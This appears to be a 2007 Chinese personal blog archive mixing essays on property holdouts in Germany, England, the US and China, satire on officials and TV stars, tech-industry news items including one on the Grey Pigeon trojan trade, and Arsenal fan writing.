在资本主义国家德国有这样一个故事,号称“军人国王”的普鲁士国王弗里德里希,后来在法国巴黎的凡尔赛宫镜厅被德意志各邦君主拥立为德国皇帝,深受广大人民群众爱戴,他的助手就是大名鼎鼎的铁血宰相俾斯麦。现在德国街头还有他骑着青铜战马的塑像。当年他在距离柏林不远的波茨坦修建了一座行宫,相当于我们今天的北带河。有一次这位皇帝用伟人们惯有的动作,登高远眺波茨坦市的全景,欲掐腰感慨江山如此多姣,他的视线却被紧挨着宫殿的一座磨坊挡住了。如此不合时宜的“违章建筑”,让这位领袖非常扫兴。但他毕竟还是爱自己的子民的,他想以一种公道的方式来解决,于是他派人前去与磨坊的主人协商,希望能够买下这座磨房。不料这个磨坊主觉悟非常低,丝毫不顾全大局,心里只有小家,没有大家,一点不把“市政规划”和“国家形象”放在眼里。就认一个死理,这座磨坊是从祖上传下来的,不能败在我手里。几次协商,许以高价,晓之以理,动之以情,表示组织的关怀,警告威胁领袖安全,影响伟大祖国形象这个问题的严重性。要知道这里可是一个国家的门面,来这儿的国际友人多了去了,一百多年以后波茨坦公告都是在这里签的。可这个老汉始终软硬不吃。面对这样不识抬举、不可理喻的钉子户,终于威廉龙颜震怒,派警卫员把磨坊给拆了。有趣的是这个钉子户拆迁时倒很配合,展现了良好的绅士风度,好像一点都不担心,既没有哭天喊地,满地打滚,也没有把汽油倒在身上威胁要自焚。他袖手站在一边,嘴里叽叽咕咕:别看你是一国首脑,我德国尚有法院在,待我到法院与你理论。

第二天这个老汉,居然就在当地一纸讼狀把国家元首告上了法庭,地方法院居然受理了,判决结果居然是威廉一世败诉。判决皇帝必须“恢复原状”,赔偿由于拆毁房子造成的损失。威廉贵为一国之君,拿到判决书也只好遵照执行,本来是想办件好事,现在比窦娥还要冤。而那个刁民此时躺在他的小磨坊里,一边数钞票,一边偷着乐,压根就用不着冒着被遣送拘留的危险,背着乡干部三番五次跑到柏林去上访。也不担心什么打击报复,秋后算帐,从此以后不管什么国际友人来访,他天天心安理得地磨他的面粉。

后来威廉一世和那个磨房主都驾崩了,轮到小磨房主想进城,希望把磨房给卖了,不由想起了那个老买主,也不知第二代领导人对这个磨房感不感兴趣,就给威廉二世写了封信。威廉二世给他回了信:“我亲爱的邻居,来信已阅。得知你现在手头紧张,作为邻居我深表同情。你说你要把磨坊卖掉,朕以为期期不可。毕竟这间磨坊已经成为我德国司法独立之象征。理当世世代代保留在你家的名下。至于你的经济困难,我派人送去三千马克,请务必收下。如果你不好意思收的话,就算是我借给你的,解决你一时之急。你的邻居威廉二世”。

历经了多少个统治者,到现在,那个磨坊,德国司法独立的象征,代表了一个民族对法律的信念,象纪念碑一样屹立在德国的土地上。

这个“德国钉子户”故事给今天的中国人读来,也许像是一个遥远的童话,不要说一国元首,就连一个区长都可以把法律不放在眼里。一个社会主义人民共和国不用谈太多保障人民权益的大道理,至少也不能低于威廉.皮特的水准,从一个“资产阶级政治家”嘴里,都能讲出这样掷地有声的语言:“哪怕一个农民破败的茅屋,也是属于他的城堡,风能进,雨能进,国王的军队不能进。”这是多么深厚的无产阶级情感呀!

钉子户不是丁字裤之三-England

英国开发商拿“钉子”老妇没办法

据英国《每日电讯报》报道,一位83岁的老妇成了英国最有名气的“钉子户”:任凭房地产开发商威逼利诱,她就是拒绝从她出生的小屋搬出,眼看着周围建设的豪华公寓把她的小屋淹没,她就是不为所动。

这位老妇名叫吉恩·泰勒,房地产开发商多次劝她搬走,而且多次承诺按市场价赔偿她所有财产,还让她搬进一套新公寓。但都被她一口回绝,她不愿离开她的三间小破屋。泰勒一家在布里斯托尔市贝德敏斯特村的这所房子里居住了125年,因此,她表示绝对不会从她这一辈起离开这里。

泰勒以前是一名工厂女工,她告诉开发商:“你们唯一能让我离开家的时候就是抬出我棺材的时候。”目前,泰勒的房子位于一个5英亩建筑工地的中央,这个建筑工地即将建成价值7700万英镑的公寓房。她说:“以前这里是一个和平温馨的居住环境,但是,现在这里成了人间地狱。我讨厌在这里生活,因为建筑工程影响我的生活。他们按当前的市场价买我的房子,但是我为什么要因为他们离开自己的家呢,我想在我去世的时候,我能躺在自己的家里。”

坐落在鹅卵石街道尽头的这所房子,现在价值20万英镑,房子曾经作为工匠屋建于1780年,仍然保持原有的装饰。泰勒是两个孩子的母亲,成为寡妇已经29年了,她和她的5个姐妹在这里长大。1945年她在这个房间里举办了她的婚宴。

泰勒说:“非常吵闹,重型卡车从我门前开过,太可怕了!从窗户看到的除了公寓还是公寓。”她的女儿,54岁的希拉表示,建筑工地影响了她母亲的健康。

负责房地产开发的董事长杰拉尔德说:“我们拜访过她,愿意支付她一笔钱,让她离开这里,因为我们考虑过建筑环境会影响她的健康,但是,她就是不走。”

钉子户不是丁字裤之二-America

在美国华盛顿的马塞诸塞大街上,有一片机器轰鸣的繁忙建筑工地,大批工人在那里忙碌,地基已经有四五层楼深,建成后的大楼的宣传画就张贴在工地周围,一幢现代化的大厦正在拔地而起。

但在建筑工地的中央却有一栋陈旧的小楼,与即将建设的大楼极不协调,小楼的三面都被建筑工地包围,深深的建筑地基使小楼看上去像空中楼阁一样摇摇欲坠。过路的行人常常都会住脚观看这一奇景,且窃窃议论。

小楼前,几乎每天都会开来一辆小白车,车里走出的正是这栋小楼的主人斯普瑞格思先生,一个默默无闻的建筑设计师,小楼就是他的事务所,斯普瑞格思先生按时到小楼里上下班,任凭周围的喧哗,斯普瑞格思先生稳坐钓鱼台。

斯普瑞格思先生到底要钓什么大鱼?却无人知晓。

斯普瑞格思夫妇在1980年花十三万美元买下了这栋小楼,到2003年,小楼的市场价格升到了三十万美元。建筑商一口气成片买下了斯普瑞格思小楼周围的房子,但在斯普瑞格思先生那里却碰了钉子,最后建筑商提出了三百万美元的高价,斯普瑞格思先生仍然不为所动,说了一个三千万的天价就把建筑商们拒在了门外,弄得当时的邻居惶恐不安,生怕建筑商连他们的房子也不买了,坏了他们发财的好事。

后来,斯普瑞格思先生提出了一个要求,就是把他纳入新建筑的备案设计师。放着白花花的银子不要,看来斯普瑞格思先生的事业高于金钱。但斯普瑞格思先生的设计思路实在不入流,最终遭到了挽拒:“我们感谢你的帮助,但我们不想成为你的人质”。

到了建筑要开工了,斯普瑞格思先生的小楼还是一个钉子户。建筑商最终放弃了与斯普瑞格思先生交涉,重新规划了设计,在斯普瑞格思先生小楼的三面和上面建筑开工,唯一要小心的是要保驾好斯普瑞格思先生小楼的地基,建筑商在斯普瑞格思先生小楼的下面安了密密麻麻的支架,不能让它倒了,否则麻烦就大了。

斯普瑞格思先生不图钱,也没有捞到名,斯普瑞格思先生还在等什么大鱼呢?多少年来,斯普瑞格思先生拒绝了所有的采访,真实想法仍然无人知晓。但最近一家匹萨饼连锁店透露,他们即将与斯普瑞格思先生签订合同,把斯普瑞格思先生的小楼改造成匹萨饼店。但建筑商表示,不管他卖多少匹萨饼,也不可能赚到三百万的价钱。

建筑商仍然表示有意买斯普瑞格思先生的小楼,但不再出三百万的价钱了,“合理的市场价加上一点补偿费”而已。

没有赚到钱没有关系,不要忘了斯普瑞格思先生是个建筑设计师,在一个豪华的现代建筑里镶上一个百年的旧楼,也许这正是斯普瑞格思先生想要的。

钉子户不是丁字裤之一-China

二月里通过的《物权法》在三月里遇见了重庆的钉子户,孤楼一幢,国旗飘扬。

此前一直有种担心,觉得《物权法》的通过为各种非法原始资本积累开了免罪券,使得经济改革中的原罪从黑到白。但是,这一天还没有到来之前,大家看到了重庆的钉子户。如果这是一次宣传《物权法》的公关行动的话,它可能是历史上最成功的一次。不过,我个人倒不倾向认为官员的IQ能达到这种高度。

现在,这座孤悬在工地里的楼房成为了一块试金石。有网友说,这是他第一次看到国旗后如此激动。应该激动,因为这是庶民第一次以如此激烈的行为捍卫自己的私有财产。危楼、工地、国旗,这一切都构成了强烈的象征意义。国旗还能在楼上飘多久,法律也就能在这个国家里活多久,个人权利也就能被维护多久。

七十年后,当他对土地的使用权到期,那么可以收回这块土地。但是在这之前,只能围绕着这房子修开发商的新小区,或者满足他的要求。而且,开发商在施工过程中必须加固小楼的地基,保证它没有倾倒的危险。因为,这楼上插着国旗,其下住着中国公民。

专一的事业与奔放的灵魂-Unlimited Free Spirit

我们崇尚专注一生的事业,更赞叹自由奔放的灵魂。

出自黄健翔代言的智联招聘广告。

媚上欺下的宋祖英和赵本山-Cajolery and Deride

宋祖英和赵本山,每年央视春晚的铁定人选,一个都不能少。他们的确是某种民族文化的代表:一个用华丽的嗓音和空洞的内容歌唱时代,是为媚上;一个以底层百姓的无知与无奈炮制笑料,是为欺下。媚上与欺下,是春晚的永恒主题。

神州数码要做社区,行吗?-BBS for Shop Assistant,Work?

不知道算是好消息还是坏消息,神州数码真的要准备做销售员社区了。

针对这一设想,我曾经想过很多,困难重重难道一拍脑袋就可以全部解决了么?

终端设备的奇缺,用户素质的参差不齐,在线时间的严重缩水,贡献动力的未知,技术力量的匮乏,人员长久不能到位,思维的闭塞,事业部的压力,外部的竞争,项目时间的不可控……仅举出的这几点就足够杀死任何可能的想象力。

真的能行吗?

讲述一个并不搭界的故事吧:

晋惠帝执政时期,有一年发生饥荒,百姓没有粮食吃,只有挖草根,食观音土,许多百姓因此活活饿死。消息被迅速报到了皇宫中,晋惠帝坐在高高的皇座上听完了大臣的奏报后,大为不解。“善良”的晋惠帝很想为他的子民做点事情,经过冥思苦想后终于悟出了一个“解决方案”曰:“百姓无栗米充饥,何不食肉糜?”(百姓肚子饿没米饭吃,为什么不去吃肉粥呢?)

众生皆无涌动之力,何不做社区?

(记录最近一段时间使用的签名档:对美味厨房的迷恋超过对迷惘事业的追求?

2007年3月21日星期三

反腐败的最佳解决方案-The Best Solution of Decayed

随着GCD反腐力度的加大,他们正在寻找一种妥善处理贿赂品的方式,而在这个过程中,拍卖方案正变得越来越常见。

贿赂产生贿赂品-贿赂品被查封-贿赂品被拍卖-拍卖成功变成钱-钱……钱用到什么地方了呢?

我想“最好”的方法也许是把从被查出来的受贿者手中变现的钱拿来奖励还没有被查出来的官员们,既然没有被查出来,那么就存在两种可能性——清廉的官员和受贿的官员(未查出),这样大家就可以“劫富济贫”了!

真是个好主意!

所以就可以打击异党以肥己,落井下石以自保,嗯!

让我来节选几段相关的报道文字吧:

在众多拍卖标的中有劳力士(Rolex)和欧米迦(Omega)手表、女式黑色貂皮大衣、索尼摄像机以及大量的金首饰,最低起拍价总计4.3万美元,相当于当地农民年均收入的一百多倍。(那么是不是可以免除这些当地农民一百年的税收呢:任俊龙

中国官方媒体新华社发表的一篇社论指出,安徽省的这次拍卖不仅将对那些不遵纪守法的官员产生强烈的震慑作用,而且还将增强共产党员和政府官员的反腐信心和决心。(这两个推论煞是震撼:任俊龙

资深拍卖师刘鹏南说,在他的拍卖生涯中从未见过这样的事,所有拍品都是贪官的东西,他们是名人,但却是臭名昭著的名人。这就好像是拍卖希特勒用过的笔,竞拍者倒还趋之若鹜。(茅屎坑里的大钻石——不管过几辈子它都是臭的:任俊龙

一把象牙制成的扇子引起了竞拍者的浓烈兴趣,经过激烈的竞争,它最终拍出了约一千美元。(扇子,一把不用来扇凉的扇子,越是超出了本来的作用就越值钱:任俊龙

一瓶老酒佳酿更是拍出了约2,300美元的高价。(几头牛,几座楼:任俊龙

拍卖收入已超过十万美元,这笔款项将收归安徽省政府所有。(疑似这些贪污腐败的官员给组织留下的一大笔政治遗产:任俊龙

一名杂货商人,不辞辛劳坐了两个多小时的飞机从重庆赴合肥为的就是参加此次竞拍。最后他花掉3,800多美元,收获了四条金项链、一枚宝石戒指还有一枚从香港进口的金锭。(这是一个什么样的杂货商人:任俊龙

世界上最糟的疯人蠢事-Lunatic Jackassery

《世界上最糟的---美国人眼中的疯人蠢事》一书里搜罗的未必都是蠢事,但是有的确实蠢。这里抄录两则:

Side 甲 《最糟的十二大美国报纸新闻标题》(按IQ递增顺序排列)

1、伊拉克找手(伊拉克领导寻找武器)
Iraqi Head Seeks Arms.

2、矿工死后拒绝干活
Miners Refuse to Work after Death.

3、杀人犯10年内第二次被判死刑
Killer Sentenced to Die for Second Time in 10 Years.

4、孩子们做营养小吃
Kids Make Nutritious Snacks.

5、收银台后18年,失散姐妹喜相逢
Two Sisters Reunited After 18 Years at Checkout Counter.

6、盲妇得多年未见的老父捐新肾
Blind Woman Gets New Kidney from Dad She Hasn't Seen in Years.

7、病入膏肓,送上西天
Patient At Death's door---Doctors Pull Him Through.

8、专家称飞机失事是因为有问题
Something Went Wrong in Jet Crash, Expert Says.

9、醉卧提琴盒9月整
Drunk Gets Nine Months in Violin Case.

10、7名脚医状告医院
Hospitals are Sued by 7 Foot Doctors.

11、罢工若不解决,必将持续
If Strike Isn't Settled Quickly, It May Last a While.

12、与气温有关部门的寒流
Cold Wave Linked to Temperatures.

Side 乙 十大最糟书名(从上世纪70年代末开始,图示小组/Diagram Group每年都要在法兰克福书展/Frankfurt Book Fair上为最不可思议的书名颁奖,这里提供了十个最优秀的书名)

1、《自助脑手术和其他居家技巧》
Do it yourself Brain Surgery and Other Home Skills

2、《享受昆虫:虫类烹饪指南》
Entertaining with Insects: The Original Guide to Insect Cookery

3、《脑力自然隆胸法:如何用大脑的另外90%来增加胸部尺寸》
Natural Bust Enlargement with Total Mind Power: How to Use the Other 90 Percent of Your Mind to Increase the Size of Your Breasts

4、《新几内亚亚洲绦虫和犹太祖母》
New Guinea Tapeworms and Jewish Grandmothers

5、《核战争趣味手册》
Nuclear War Fun Book

6、《第二次国际无毛老鼠作坊进程》
Proceedings of The Second International Workshop on Nuke Mice

7、《死后性关系》
Sex after Death

8、《生命之泉---论尿液治疗》
Water of Life---A Treatise on Urine Therapy

9、《婴儿从哪里来及如何留在那里》
Where Do Babies Come From and How to Keep Them There

10、《娘儿们斗殴:系统理论研究》
Wife Battling: A System Theory Approach

戴尔推出针对中国的低价台式机-DELL's Cheap Computer

戴尔公司周三推出了首款特别针对中国市场的台式电脑。该公司希望通过拓展面向消费者的产品品种来推进业绩增长。

中兴向英飞凌购买手机芯片-ZTE's New Partner

中兴通讯股份有限公司周三表示,公司将向英飞凌科技公司购买手机芯片。

关于英飞凌公司

英飞凌科技公司总部设在德国慕尼黑,主要为汽车和工业领域、有线通信市场应用、安全移动解决方案和存储器产品提供半导体产品和系统解决方案。作为一家跨国公司,英飞凌公司在美国的总部设在加州圣荷塞市,亚太区总部设在新加坡,日本总部设在东京。2003年财政年度(结束于9月份),英飞凌公司销售收为61.5亿欧元,全球员工约32,300名。英飞凌(Infineon)是法兰克福股票交易所DAX指数成份股,同时在纽约股票交易所上市(股票代码:IFX)。

英飞凌公司在中国

英飞凌公司自1994年10月起就已经来到中国(时作为西门子半导体部)。今天英飞凌公司在中国拥有约1200名员工,并计划在未来将员工数量扩展到超过3000人。在上海,英飞凌公司与中芯国际(SMIC)合作,使得不必自己投资建设芯片生产厂就可获得可观的存储器芯片生产能力。做为回报,英飞凌公司许可中芯国际使用其领先的300mm技术。在苏州,英飞凌公司刚刚成立了一家组装和测试存储器芯片的合资企业。在无锡,英飞凌设有一家逻辑产品后端生产厂,同时英飞凌在西安的开发中心则开发针对通信领域以及汽车和工业电子领域的产品。英飞凌公司还在北京、上海、深圳和香港设有销售办事处。与当地合作伙伴的战略合作是英飞凌科技公司在中国的扩展战略的主要基石。2003年3月,英飞凌公司成功地扩展了与上海中芯国际(SMIC)在标准存储器芯片(DRAM)上的生产合作。除了制造专业知识和广泛的技术组合之外,英飞凌公司还为其主要中国客户提供最高质量、最经济高效的半导体解决方案,以提高他们在本地和全球市场上的竞争优势。

英飞凌科技(西安)有限公司,将发挥其战略优势,为英飞凌旗下所有业务集团提供集成电路设计服务,主要集中于通讯、自动化和工业电子业务等开发创新领域,这将有助于英飞凌更能满足中国本地客户需求,并充分利用中国西部研发人才,成为一个能够提供全套解决方案的全方位IC供应商,并在半导体产业中创造更佳的技术。

英飞凌集团全球第29家IC业研发中心2003年6月在西安成立,并计划将其建成该集团在全球最大的研发中心。英飞凌科技(西安)有限公司,位于西安高新技术产业开发区,业务范围包括:半导体和集成电路软硬件的研究、开发、销售和服务;提供客户系统解决方案;技术咨询、技术转让和技术服务;新产品试生产和销售服务。业务重点是为客户提供高增值的集成电路设计服务。

导航用图-Navigation Pics








物业公司为什么会存在-Service for House Property

为什么会有物业管理这么一个行业的存在?

收集垃圾、维护安全、修葺道路等都应该是政府提供的公共服务,公民交了税就应该免费享受;至于水电煤气、有线电视、电话、电梯等则都属于市场服务,自有销售这些东西的公司来上门提供服务,市场化的原则自然而然就可以解决问题,为什么还要额外生成这个叫物业管理的行当?

可是这样想归这样想,怎么做还得怎么做!

公共服务方面,政府提供的免费服务一般人是靠不上,所以大家只有额外花钱,买私人服务;市场服务方面,这些行业的公司多半属于“惹不起,躲得起”的国有垄断企业,还是让物业公司的人与他们打交道更为省心些。

英特尔大连要建芯片厂-Intel DaLian Factory

英特尔可能将很快宣布有关在中国兴建一座晶片厂的决定。

整理一下最近的思路:

英特尔大连25亿美元芯片项目获批,该项目总投资为25亿美元,全部由英特尔公司自筹解决,资金将用于建成一座具有月产12英寸、90纳米集成电路芯片5.2万片生产能力的工厂,主要产品为CPU芯片组。援引美国市场研究公司IC Insights的研究称,大连工厂的投产将使英特尔公司的销售总额在五年内翻三番,从2005年的410亿美元增长至2010年的1240亿美元。

英特尔不远万里跑到中国来建厂,会不会影响到美国本土加利福尼亚州、俄勒冈州、亚利桑那州、新墨西哥州以及马萨诸塞州本来已有的生产线呢,会不会造成美国本土劳动力问题呢?我想应该是不会的。

英特尔公司最先进的并不是将要在中国应用的芯片组制造技术,而是其微处理制造技术。英特尔生产处理器芯片的技术已经达到了65纳米制程工艺水平,但是它生产芯片组的技术仍停留在上一代即90纳米制程工艺水平上。

另外资本方面,在其176亿美元固定资产中,超过116亿美元的资产在美国国内,28亿美元资产位于爱尔兰,仅有38亿美元资产位于以色列、马来西亚、越南和中国。

TT要去做Intel的产品经理了,但是似乎他认为是神州数码贴着Intel而不是反过来,那么这样的话Intel是不是真的要下定决心和神州数码合作,并且和老对手AMD站在拳击台的两端呢?

我想大致不会像TT所说的神州数码完全的贴上去,所以Intel不一定十分地配合,我得到的消息中,Intel本次出击,不光找了神州数码一家,在中国他们应该和所有AMD的总代发生过联系,这八家分别是:艾睿电子中国有限公司、安富利科技(香港)有限公司、神州数码有限公司、富昌电子(香港)有限公司、德创电子(香港)有限公司、伟仕电脑(香港)有限公司、威健实业国际有限公司、建达国际(香港) 有限公司。Intel很聪明,没有把所有的鸡蛋放在同一个篮子里,这对神州数码来说是不是一个什么好消息呢?

配件市场,攒机方面,尤其是CPU,难度好大啊!不知道在接下来的日子里TT他们能够想出什么好的法子来,也许五月份的时候一切会更明朗。

可怕的恐怖分子阴谋-Terrorist's Intrigue

Cory Doctorow提出了一个潜在的破坏性恐怖分子阴谋的假设:

恐怖分子能够渗透到全世界的汽车公司,生产大型耗油的汽车,比如悍马。一旦美国遍地都是SUV,碳放射会造成两极冰盖融化和全球变暖,导致灾难性的飓风,让数百万的美国人死亡或无家可归。

估计到那个时候地球上每个角落的电视台都会报道“自杀性恐怖袭击新变种”的消息了,可惜不知道我是否能够看得到这样的新闻频道(GFW的保护主义已经致使我无法顺利登陆我的BLOGER博客了,于是我采取了另外的一个入口)。

朝鲜为什么放别人鸽子-Why Korea Break an Appointment

日本外务省一位官员称,朝鲜在2,500万美元冻结资金解冻前拒绝参加六方会谈,使得周二下午举行的六方会谈代表会议再次被迫取消。

几个关注点:

这是一个日本官员透露出来的关于他国的事物。

这是朝鲜拒绝六方会谈的缘由和结果。

这是一个国家在2500万美元与国际社会做出的选择。

这又是一件新的“放鸽子”事件。

明基电通连续亏损-Benq's Losings

台湾明基电通周二公布,继之前四个季度连续亏损后,由于手机销售额大幅下降,去年第四季度净亏损超过预期。

中国银行海外收购-The Evolve of Bank of China

中国银行股份有限公司周二表示,正考虑继续进行海外收购;去年中国银行斥资近10亿美元收购了一家飞机租赁公司。

一家银行,一家飞机租赁公司,令人费解的一对组合。

谷歌输入法-Google Type Technique

就软件本身而言,这不过是一款轻量级的小品,不过对谷歌中国而言,其意义显然不止于此——这或许是目前谷歌直接占领中国用户桌面为数不多的选择。

几乎对于所有的中文用户来说,输入法都是必须的,高端低端用户都需要。但直到搜狗输入法出现之前,几乎没有一个互联网公司意识到输入法的重要性。

搜狗输入法的尝试得到了一些喝彩,但远未称得上成功。

刚刚看了一下华军上的数据,紫光拼音V5下载次数2050万次,搜狗不过17万次,连紫光的零头都不到。

谷歌拼音法会取得成功吗?

灰鸽子产业链-A Virus Industry

熊猫烧香余热未尽,灰鸽子来了又来了。

金山总裁雷军日前在接受媒体采访时表示:“灰鸽子已不再是一个单纯的病毒,其背后是一条制造病毒、贩卖病毒、病毒培训为一体的黑色产业链,从某种意义上讲,灰鸽子的危害超出熊猫烧香十倍。”

病毒竟有自己网站?

被称为“灰鸽子病毒产业链之首”的灰鸽子工作室被发现。

熊猫烧香病毒案已经破获,但它牵引出的隐藏在网络界的“病毒富翁”和庞大的电脑病毒产业,则刚刚开始被外界关注。

木马、肉鸡、灰鸽子……这些圈外人刚刚听说的网络用语,构成的不仅是一个看不见的、黑色的、暴利的帝国,更是一个侵犯个人隐私,危及网络安全,甚至导致网络恐慌的巨大阴谋。

这一切只需要一个软件。它们在正式的网站上被标价下载;它们有详细的训练教程供人学习操作;它们的用户数量上万,一些“高手”可以日进万金,有些已经成为现实中的千万富翁。

计算机世界中还存在多少良知?

2007年3月20日星期二

做一个真正的球迷-To Be a Fan



这个奇怪的运动,这是个奇怪的人类现象,他让我们如此痴迷,却又让人如此癫狂。

太多的“球迷”发表了激烈的言论,赢了球便狂赞,输了球便狂扁。这些不是真正的球迷!

我们的球迷(不是指阿森纳球迷,而是指普遍的中国球迷)缺乏理性,更多的是功利心在作怪。不过说来也奇怪,我们能够在一个赛季中把曼联双杀,能够在杯赛连续作战中狂屠利物浦,也能把不可一世的穆里尼奥逼平,却屡屡输给那些小球会。难道我们真的就是传说中的遇刚则刚,遇柔则柔?

球队现在遇到的问题其实并不出乎意外,严重缺乏当打人员让我们四处捉襟见肘,能够达到这样的成绩其实我觉得应该已经在偷笑了,为什么偏偏就有球迷无法接受眼前所面临的现实呢?

其实我觉得目前阿森纳遇到的情况并没有让人达到难以接受的状态,说明白了就是功利心作怪使然。我们无法接受失败,我们无法面对失败,我们无法摒弃嫉妒心,我们无法正视残酷的环境,我们无法容忍共同的利益,我们无法大度地对待别人……太多的不应该汇集在一起,爆发出来的岩浆又遇上冷水泼头,不激烈也不正常。

可是即便是表示可以理解,我也还是想告诉那些自诩为“球迷”的人,如果你是阿森纳的球迷,请你安静;如果你不是阿森纳的球迷,请你安静!

Let me muse for a while on this strange phenomenon called football, and the power - at times funny, at times frightening - it holds over some of us.

Aston Villa v Arsenal. The season is over, there is nothing to play for, the league is out of reach, the games are mere formalities until the end of the season, and I have the small matter of college the next day.

And yet I stay up till 3:30 AM, to watch the team travel to Villa Park, and eke out a drab, dull 1-0 win courtesy of a deflected Diaby goal. You may think that the inconsequential nature of the game, and the lateness of the hour, would be a deterrent.

You may think that three crushing cup defeats in the space of 11 days might put one off football (especially Arsenal) for a while. Yet the thought of missing the game never even came to my mind.

This is the hold that football, and supporting a team, has over some of us. I was talking to Sahil a few days ago in the immediate aftermath of Real Madrid's European exit, and we both agreed that football had caused us much pain over the last five years.

Where we differed, however, was that on the balance I yielded towards the benefit side, while he was emphatically with the cost. To be fair to him, however, Real have won nothing since 2003, whereas I at least have the memories of an unbeaten season, an FA Cup win and a glorious Champions' League run to fall back upon.

It's the same thing every time, and has been since 2002/03 when we threw away an 8-point lead in March, and I first knew heartbreak as an Arsenal fan. There is a shocker of a result (Bolton away in 2003, Chelsea at home in 2004, Manchester United at Villa Park in the same year, Manchester United away in the same year, Barcelona in Paris, PSV at home this year...), the mind-numbing despair which follows, the horrible night tossing and turning in bed, thinking of what might have been, replaying images in one's head (it's especially bad if it has been a European night, and one gets to bed at 4)... and then next week the wheel has come full circle, because one his back watching them in a meaningless league game against Watford, and going delirious when Henry scores a penalty.

In a way, Nick Hornby captures it all in Fever Pitch. That is a book which can be understood only by the football fan, and only a certain kind of football fan at that. There is an incident when Hornby, couldn't bear to watch a game, locked himself in his room and turned on the stereo, knowing that the match would end at approximately the same time the song would.

I confess that I have done the same. I couldn't watch the Arsenal v Chelsea game at Highbury back in December 2004. I locked myself into my room, and listened to Nirvana at full volume until I was sure the match would over.

Hornby says that finals are the worst of all. I agree. If the FA Cup Final against Manchester United - which was decided on penalties - was torture every minute from beginning to end, the Champions' League final against Barcelona was sheer agony.

There is no logic to picking a team, falling in love with a team. A week after taking him to Highbury, Hornby's dad took him to White Hart Lane - Spurs were one of the best and most attractive teams in England at the time, and they won that particular game 5-0.

To Hornby, however, it was irrelevant, as he had already fallen in love with the team that he had seen win their home game courtesy of a rebound off a saved penalty. It was roughly the same for me back in early 2002. I can't pinpoint the exact time when I became an Arsenal fan, but I remember watching a dire, dire game against Spurs, decided by a late penalty taken by Lauren. It was a horrible penalty - slow, grounded, along the centre. Yet it somehow found its way in.

I remember seeing Lauren and Thierry Henry rush to the stands and embrace a couple of supporters. I remember seeing Arsène Wenger rise from his seat, both fists clenched, his face working. And I knew at that moment that I was an Arsenal fan for life.

The bond between a club and a fan is something which can't be expressed in words - all I can say is that it runs deep, very deep... and it is irrevocable. One week my journey was complete as I stayed up till four in the morning to watch the delayed telecast of a game against Ipswich, settled by two goals from Freddie Ljungberg (or was that before? I've forgotten).

I remember punching the air when the second one went in (it had been a tense game, scoreless for a long time), my mouth open in a soundless scream. There has been pain and heartbreak along the way, but there have been moments like that. And I won't be willing to swap the memories of those moments - or the anticipation of future ones - for anything else. And sometime around all that, "Arsenal" became "We".

There is a very touching part of Hornby's book, when he describes the players lining up for the Anfield game in 1989, the greatest one in our history. He says something to the effect of how well he knew each of those players, their faces, their quirks, their mannerisms, watching them day in and day out.

I can't help feeling how true that is. It was Adams, Smith, Thomas back then ... now it's Touré, Henry, Fabregas, but the sense of association remains. Our club. Our players. How well I can imagine them lining up right now - Touré, who can never keep that broaf smile off his face; Cesc, always up for the battle; Mad Jens, grim, angry; Rosicky with his slight, boyish grin; Senderos looking so tragically earnest; Henry moody and aloof; and so on.

This then, I suppose, is what being a fan is all about. To forge this deep, irrevocable bond with the club; a bond so deep that you cry tears of frustration and despair when nights like PSV come along, or leap all over the drawing room, smashing into tables and falling over chairs when Henry scores in the 94th minute against the Mancs.

A bond that sees you with the club through thick and thin, through the barren years as well as the glorious ones. A bond so close that it permeates into the rest of your life. There have been times when I've been down and out, when the thought of the weekend game has come to the rescue; and for two hours you can just sit back, watch, and forget about life and the outside world, the world that is so often cruel, capricious, fickle and treacherous.

Come on, Cesc! Pass the freakin' ball, Bert! SHOOT, damn you! There may be no other constants in life, friends come and go, people are never what they seem, but Arsenal is there, the weekend game is there, those two hours of pure, unadulterated bliss are there.

It's been a tumultous ride. But looking back on five and a half years of supporting Arsenal, all I can say is:

For what it's worth, it's been worth all the while.

给他们一些时间-Players Need Time



I have faith in this team. Next year they can't afford not bring Ashburton Grove its first trophy, but they can, and with a bit more time, and a bit more luck, they will.

给他们一些时间吧。这个赛季如果我们能够靠一群孩子拿到更好的成绩,那简直是对英超的侮辱,也是对英超其他三强莫大的讽刺。利物浦已经非常羡慕我们的娃娃军,曼联的力量在鲁尼和小小罗时代仍然很强大,切尔西的卢布和穆帅的侠胆也不会支撑很久,未来,我把希望留给时间!

一年前的今天,亨利还在疾呼球队需要更多的团队配合,那同样是一个小鬼当家的赛季;同样在一年前的这一天,温格教练明确表示不会收回对皮雷斯合同问题的决定。老的那一批渐渐地在淡出我们的视线,小家伙们要想真正取代前辈们的位置,还需要更多的洗礼。

任俊龙在学校的日日夜夜

任俊龙1981年09月28日出生于山西省阳泉市,祖籍河北省。幼年淘气没有上过幼儿园,小学毕业于阳泉市新华小学,初中毕业于阳泉铁路中学(现在已经更名为新华中学),高中毕业于阳泉市第一中学,大学毕业于北京化工大学自动化专业(辅修法学)

任俊龙职业发展道路

搜狐产经中心-IT频道,搜狐时尚中心-女人频道,中华网科教文娱中心-体育频道,神州数码电子商务部……

任俊龙笃信的几句话

我不是懦夫……也不是孱头……在战斗的时候我永远站在前面,撤退的时候我永远留到最后才走……我有一个坚强不屈的心灵,我的心中不能容纳卑劣、下贱的感情。逢到最危险的紧急关头,我并不珍惜生命……我不怕死,我的母亲曾经教导过我,要把死亡看作是我们灵魂的真正生活的开始,我觉得这是对的。

各种可以联系到任俊龙的手段

工作即时消息:MSN bosdumia#hotmail.com
信息技术学习:GMAIL bosdumia#gmail.com
生活娱乐休闲:BBS www.bters.org/bbs/index.html
请将相应位置的#换为@,有劳

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